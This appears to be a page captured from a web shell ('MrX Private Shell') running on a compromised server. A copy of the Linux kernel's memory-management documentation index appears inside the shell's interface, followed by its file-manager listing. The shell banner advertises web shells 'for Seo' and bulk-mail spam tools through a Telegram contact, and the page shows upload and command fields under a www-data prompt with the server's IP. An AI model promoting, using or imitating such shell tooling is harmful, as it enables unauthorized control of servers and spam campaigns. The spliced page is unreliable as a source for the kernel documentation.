__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.121: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Memory Management Documentation &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Physical Memory" href="physical_memory.html" />
    <link rel="prev" title="Kernel subsystem documentation" href="../subsystem-apis.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../core-api/index.html">Core API Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../driver-api/index.html">Driver implementer’s API guide</a></li>
<li class="toctree-l3 current"><a class="current reference internal" href="#">Memory Management Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../power/index.html">Power Management</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scheduler/index.html">Scheduler</a></li>
<li class="toctree-l3"><a class="reference internal" href="../timers/index.html">Timers</a></li>
<li class="toctree-l3"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/mm/index.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  




<div class="language-selection">
English

<ul>

<li><a href="../translations/zh_CN/mm/index.html">Chinese (Simplified)</a></li>

</ul>
</div>
<section id="memory-management-documentation">
<h1>Memory Management Documentation<a class="headerlink" href="#memory-management-documentation" title="Link to this heading">¶</a></h1>
<p>This is a guide to understanding the memory management subsystem
of Linux.  If you are looking for advice on simply allocating memory,
see the <a class="reference internal" href="../core-api/memory-allocation.html#memory-allocation"><span class="std std-ref">Memory Allocation Guide</span></a>.  For controlling and tuning guides,
see the <a class="reference internal" href="../admin-guide/mm/index.html"><span class="doc">admin guide</span></a>.</p>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="physical_memory.html">Physical Memory</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_tables.html">Page Tables</a></li>
<li class="toctree-l1"><a class="reference internal" href="process_addrs.html">Process Addresses</a></li>
<li class="toctree-l1"><a class="reference internal" href="bootmem.html">Boot Memory</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_allocation.html">Page Allocation</a></li>
<li class="toctree-l1"><a class="reference internal" href="vmalloc.html">Virtually Contiguous Memory Allocation</a></li>
<li class="toctree-l1"><a class="reference internal" href="slab.html">Slab Allocation</a></li>
<li class="toctree-l1"><a class="reference internal" href="highmem.html">High Memory Handling</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_reclaim.html">Page Reclaim</a></li>
<li class="toctree-l1"><a class="reference internal" href="swap.html">Swap</a></li>
<li class="toctree-l1"><a class="reference internal" href="swap-table.html">Swap Table</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_cache.html">Page Cache</a></li>
<li class="toctree-l1"><a class="reference internal" href="shmfs.html">Shared Memory Filesystem</a></li>
<li class="toctree-l1"><a class="reference internal" href="oom.html">Out Of Memory Handling</a></li>
</ul>
</div>
<section id="unsorted-documentation">
<h2>Unsorted Documentation<a class="headerlink" href="#unsorted-documentation" title="Link to this heading">¶</a></h2>
<p>This is a collection of unsorted documents about the Linux memory management
(MM) subsystem internals with different level of details ranging from notes and
mailing list responses for elaborating descriptions of data structures and
algorithms.  It should all be integrated nicely into the above structured
documentation, or deleted if it has served its purpose.</p>
<div class="toctree-wrapper compound">
<ul>
<li class="toctree-l1"><a class="reference internal" href="active_mm.html">Active MM</a></li>
<li class="toctree-l1"><a class="reference internal" href="allocation-profiling.html">MEMORY ALLOCATION PROFILING</a></li>
<li class="toctree-l1"><a class="reference internal" href="arch_pgtable_helpers.html">Architecture Page Table Helpers</a></li>
<li class="toctree-l1"><a class="reference internal" href="balance.html">Memory Balancing</a></li>
<li class="toctree-l1"><a class="reference internal" href="damon/index.html">DAMON: Data Access MONitoring and Access-aware System Operations</a></li>
<li class="toctree-l1"><a class="reference internal" href="free_page_reporting.html">Free Page Reporting</a></li>
<li class="toctree-l1"><a class="reference internal" href="hmm.html">Heterogeneous Memory Management (HMM)</a></li>
<li class="toctree-l1"><a class="reference internal" href="hwpoison.html">hwpoison</a></li>
<li class="toctree-l1"><a class="reference internal" href="hugetlbfs_reserv.html">Hugetlbfs Reservation</a></li>
<li class="toctree-l1"><a class="reference internal" href="ksm.html">Kernel Samepage Merging</a></li>
<li class="toctree-l1"><a class="reference internal" href="memory-model.html">Physical Memory Model</a></li>
<li class="toctree-l1"><a class="reference internal" href="mmu_notifier.html">When do you need to notify inside page table lock ?</a></li>
<li class="toctree-l1"><a class="reference internal" href="multigen_lru.html">Multi-Gen LRU</a></li>
<li class="toctree-l1"><a class="reference internal" href="numa.html">What is NUMA?</a></li>
<li class="toctree-l1"><a class="reference internal" href="overcommit-accounting.html">Overcommit Accounting</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_migration.html">Page migration</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_frags.html">Page fragments</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_owner.html">page owner: Tracking about who allocated each page</a></li>
<li class="toctree-l1"><a class="reference internal" href="page_table_check.html">Page Table Check</a></li>
<li class="toctree-l1"><a class="reference internal" href="remap_file_pages.html">remap_file_pages() system call</a></li>
<li class="toctree-l1"><a class="reference internal" href="split_page_table_lock.html">Split page table lock</a></li>
<li class="toctree-l1"><a class="reference internal" href="transhuge.html">Transparent Hugepage Support</a></li>
<li class="toctree-l1"><a class="reference internal" href="unevictable-lru.html">Unevictable LRU Infrastructure</a></li>
<li class="toctree-l1"><a class="reference internal" href="vmalloced-kernel-stacks.html">Virtually Mapped Kernel Stack Support</a></li>
<li class="toctree-l1"><a class="reference internal" href="vmemmap_dedup.html">A vmemmap diet for HugeTLB and Device DAX</a></li>
<li class="toctree-l1"><a class="reference internal" href="zsmalloc.html">zsmalloc</a></li>
</ul>
</div>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/mm/index.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
damon Folder 0755
active_mm.html File 12.8 KB 0644
allocation-profiling.html File 13.65 KB 0644
arch_pgtable_helpers.html File 20.2 KB 0644
balance.html File 14.36 KB 0644
bootmem.html File 8 KB 0644
free_page_reporting.html File 10.17 KB 0644
highmem.html File 75.38 KB 0644
hmm.html File 40.36 KB 0644
hugetlbfs_reserv.html File 47.17 KB 0644
hwpoison.html File 15.86 KB 0644
index.html File 13.59 KB 0644
ksm.html File 17.68 KB 0644
memory-model.html File 21.35 KB 0644
mmu_notifier.html File 13.02 KB 0644
multigen_lru.html File 25.56 KB 0644
numa.html File 17.7 KB 0644
oom.html File 8.02 KB 0644
overcommit-accounting.html File 12.24 KB 0644
page_allocation.html File 8.03 KB 0644
page_cache.html File 8.4 KB 0644
page_frags.html File 10.44 KB 0644
page_migration.html File 22.8 KB 0644
page_owner.html File 19.73 KB 0644
page_reclaim.html File 7.99 KB 0644
page_table_check.html File 12.38 KB 0644
page_tables.html File 25.13 KB 0644
physical_memory.html File 58.06 KB 0644
process_addrs.html File 75.38 KB 0644
remap_file_pages.html File 10.2 KB 0644
shmfs.html File 8.03 KB 0644
slab.html File 14.86 KB 0644
split_page_table_lock.html File 14.96 KB 0644
swap-table.html File 10.67 KB 0644
swap.html File 7.95 KB 0644
transhuge.html File 19.52 KB 0644
unevictable-lru.html File 56.55 KB 0644
vmalloc.html File 8.09 KB 0644
vmalloced-kernel-stacks.html File 17.72 KB 0644
vmemmap_dedup.html File 23.59 KB 0644
zsmalloc.html File 34.19 KB 0644
Filemanager